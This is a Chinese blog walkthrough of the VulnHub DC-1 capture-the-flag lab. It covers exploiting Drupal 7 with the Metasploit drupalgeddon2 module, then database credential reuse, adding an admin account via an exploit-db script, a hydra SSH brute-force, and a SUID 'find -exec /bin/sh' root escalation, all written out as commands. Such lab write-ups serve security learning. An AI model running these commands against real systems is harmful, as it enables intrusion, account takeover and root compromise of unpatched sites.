DC-1靶机的渗透学习
Posted 里丘
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1靶机的渗透学习相关的知识,希望对你有一定的参考价值。
一、靶机的环境搭配
攻击机(KALI):192.168.226.129
靶机(DC-1): 192.168.226.131(未知)
靶机地址:https://www.vulnhub.com/entry/dc-1,292/
二、战前准备
要求:攻击机和靶机在同一网段下,使用NAT模式
1、找到kali的IP地址,用nmap扫描同一网段找到靶机的IP
一般扫描出来的在中间而129是kali的,所以可以确定的是靶机的地址是192.168.226.131
通过mac地址也能确定
2、IP地址拿到手让我们kk开放了哪些端口
nmap -T4 -sV -O -A -p 80,445,22,139 192.168.226.131
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)
我们发现80、22、111端口、
80端口打开所以可以访问网站 22号端口代表可以访问ssh服务(远程连接)
3、登录192.168.226.131
使用Firefox插件Wappalyzer查看到如下网页信息
三大php CMS网站:Drupal、 Wordpress、Joomla
发现了3个重要信息 服务器采用的是drupal内容管理系统且版本低,可以作为渗透的方向
由于不知道账号密码不建议采用sql注入
4、查看网站目录
dirb http://192.168.226.131
5、当我们知道他是drupal的时候先去查看robots.txt有什么有用的信息
robots.txt 互联网道德协议,约定爬虫哪些东西不能爬取,但是不能爬取也暴露了哪些就是重要信息,一般存放在根目录下
知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞
6、百度获知drupal7.x的版本漏洞及攻击方式
三、开始渗透
一、flag1
打开msf 输入msfconsole、搜索search drupal漏洞
msfconsole 打开msf
search drupal 搜索drupal漏洞
2、选择2018年的载荷由第二部份的信息收集得出
查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS
use exploit/unix/webapp/drupal_drupalgeddon2
show options 查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS
3、输入靶机IP地址,开始攻击
set RHOSTS 192.168.226.131 靶机的IP
exploit 开始执行
4、取得meterpreter,拥有了部分操控权限,让我们看看有什么
找到了flag1打开kk
翻译为 每个好的CMS都需要一个配置文件——你也是。
二、flag2
drupal的配置文件在网站根目录下的/site/defaultx下的setting.php文件中
三、flag3
1、反弹shel的制作
在这里我们找到了3样东西 flag2、提示:最好不要用暴力破解、数据库账号密码
但是我们发现mysql不能直接使用
所以我们需要一个交互式shell、进入shell查看netstat -ano
我们查看到 3306号端口只允许本地访问,而3306是mysql的默认端口看来我们更加得要获取一个交互式shell了,我们用python做一个反弹shell,如果执行不了先退出shell(ctrl+c) 在重新进入shell执行
shell 启动shell 执行行命令
python -c 'import pty;pty.spawn("/bin/bash")' 获取交互式shell,使其可执行MySQL语句
mysql -udbuser -pR0ck3t 进入MySQL
开始进入到mysql数据库里面去
2、查看管理员账户
show databases; 显示所有数据库
use drupaldb; 选择当前数据库为dr库
show tables; 显示所以数据表
select * from users; 显示users表中所有内容,查找管理员账户
我们发现了管理员账户但是密码是明文加密
3、修改管理员密码
我们有两种方法,一种是增加一个管理员
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
首先查看的是Drupal版本,确定Drupal版本为7.24
$ cat /var/www/includes/bootstrap.inc | grep VERSION 查看版本信息
searchsploit drupal 查看命令
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.226.131 -u admin2 -p admin2 开始增加管理员用户
方法二、用drupal的加密脚本加密,脚本在根目录下的scripts
首先退出MySQL,重新进入交互式shell,然后两段cd回到根目录,然后获得hash码
ctrl+c 退出MySQL
shell 进入shell
python -c 'import pty; pty.spawn("/bin/bash")' 重新取得交互式shell
php scripts/password-hash.sh admin1 后面的是你设置的密码
重新进入数据库改写密码
mysql -udbuser -pR0ck3t 进入MYSQL
use drupaldb; 进入数据库
update drupaldb.users set pass="$S$DLIv1o1oUwharU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin";
<arU.lo9EjQ7LEkmB9EDreSUHbWVH.A8mUO6o66LOc" where name="admin"; 修改密码
注意pass后面跟你的加密密码明文,第二段为$后第十二个字开始输,找这个教程把我找吐了,最后看了半天才找到规律,但是一直不知道原理和句子结构是啥
使用获取得到的管理员登录浏览器找到flag3
四、flag4
flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow
,还提到了find、perms、-exec
,这几个是提权用的。
先用find找下flag的信息
find / -name "*flag*" find的命令是查找的意思,在这里查找有关flag的文件
我们发现一个flag4和th的文本文件,th在root用户下面需要提权到root
我们来查看提示的/etc/passwd和/etc/shadow
的内容
cat /etc/passwd
找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权它
使用find命令查找有特殊权限suid的命令
find / -perm -4000 查找具有SUID权限的文件,4000是SUID的代号
SUID文件:给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root
我们看到find这个命令刚好是SUID文件,所以我们可以通过find提权(flag3也有提示)
前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra
进行密码的暴力猜解 找到密码orange
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.226.131 ssh
使用得到用户名密码【 flag4/orange】,登录靶机也可以用kali远程连接sshflag4@192.168.226.131 我们发现是发现是“$”(普通权限),而不是“#”(root权限),需要使用find命令提权为root
查看找到flag4.txt文件提示还有一个在根目录下
五、thefinalflag.txt
由前面知影子文件打不开所以需要提权
find / -name 233 -exec "/bin/sh" \\; 提权
name 指定233文件也可以touch自己创一个,/bin/sh调用shell
whoami 查看权限
cd /root 进入root
ls 列出文件
cat thefinalflag.txt 查看
四、总结
flag1 | 根目录下/var/www | 用msf的2018模块入侵 |
flag2 | 根目录下/site/defaultx | cat查看 |
flag3 | 网页content里看到 | 用获取到账号密码登录 |
flag4 | /home/flag4 | find / -name "*flag" |
thefinalflag.txt | /root | find / -name "*flag" |
不足点
1、msf不懂,不知道选取哪个载荷,怎么攻击
2、思路不够顺畅,经常会卡半天
3、shell脚本构造原理不懂
4、工具使用不熟悉、drpal相关了解太少
最后学到了点个关注
知识点
/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等、shadow文件存储Linux用户的密码信息,只有root用户有权限读取此文件
SUID 给予访问者文件的权限,4000是SUID的代码,所以可以用find提权
find
命令配合-exec
选项提权;在执行这条指令必须指定外壳为/bin/sh
,经过尝试/bin/bash
等其他外壳拿到的不是root权限。name后跟一个文件名,可以指定自己创建的 touch 1
以上是关于DC-1靶机的渗透学习的主要内容,如果未能解决你的问题,请参考以下文章